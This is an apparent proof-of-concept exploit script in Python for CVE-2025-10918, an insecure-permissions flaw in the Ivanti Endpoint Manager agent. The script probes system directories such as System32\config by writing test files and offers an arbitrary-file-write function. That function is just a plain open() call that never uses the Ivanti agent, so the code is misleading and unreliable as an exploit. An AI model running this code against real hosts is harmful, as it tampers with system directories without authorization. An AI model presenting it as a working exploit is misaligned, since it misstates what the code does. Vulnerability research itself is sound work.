Insecure default permissions in the agent of Ivanti Endpoint Manager before version 2024 SU4 allows a local authenticated attacker to write arbitrary files anywhere on disk
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# CVE-2025-10918 PoC - Ivanti Endpoint Manager Insecure Default Permissions
# This PoC demonstrates file write capability due to insecure permissions
# Note: This is for educational and authorized testing purposes only
import os
import sys
import subprocess
def check_epm_service_status():
"""Check if Ivanti Endpoint Manager service is running"""
try:
result = subprocess.run(
['sc', 'query', 'IvantiEndpointManager'],
capture_output=True,
text=True
)
if 'RUNNING' in result.stdout:
return True
return False
except Exception as e:
print(f"[-] Error checking service: {e}")
return False
def check_insecure_permissions(target_path):
"""Check for insecure write permissions on target path"""
try:
# Attempt to create a test file in the target directory
test_file = os.path.join(target_path, 'epm_test_file.txt')
with open(test_file, 'w') as f:
f.write('CVE-2025-10918 Test')
print(f"[+] Successfully wrote to: {test_file}")
# Clean up
os.remove(test_file)
return True
except PermissionError:
print(f"[-] Permission denied for: {target_path}")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
def exploit_write_arbitrary_file(remote_path, content):
"""Exploit: Write arbitrary content to any path on disk"""
try:
with open(remote_path, 'w') as f:
f.write(content)
print(f"[+] Successfully wrote to arbitrary path: {remote_path}")
return True
except Exception as e:
print(f"[-] Write failed: {e}")
return False
def main():
print("=" * 60)
print("CVE-2025-10918 PoC - Ivanti EPM Insecure Default Permissions")
print("=" * 60)
if not check_epm_service_status():
print("[-] Ivanti Endpoint Manager service not running")
sys.exit(1)
print("[+] Ivanti Endpoint Manager service is running")
# Test paths commonly affected by this vulnerability
test_paths = [
'C:\\Windows\\System32\\config\\',
'C:\\Program Files\\Ivanti\\',
'C:\\Windows\\Temp\\'
]
for path in test_paths:
print(f"\n[*] Testing permissions on: {path}")
check_insecure_permissions(path)
print("\n[*] For full exploitation, provide target path and content")
print("[*] This vulnerability allows writing arbitrary files anywhere on disk")
print("[*] Mitigation: Upgrade to Ivanti EPM 2024 SU4 or later")
if __name__ == '__main__':
main()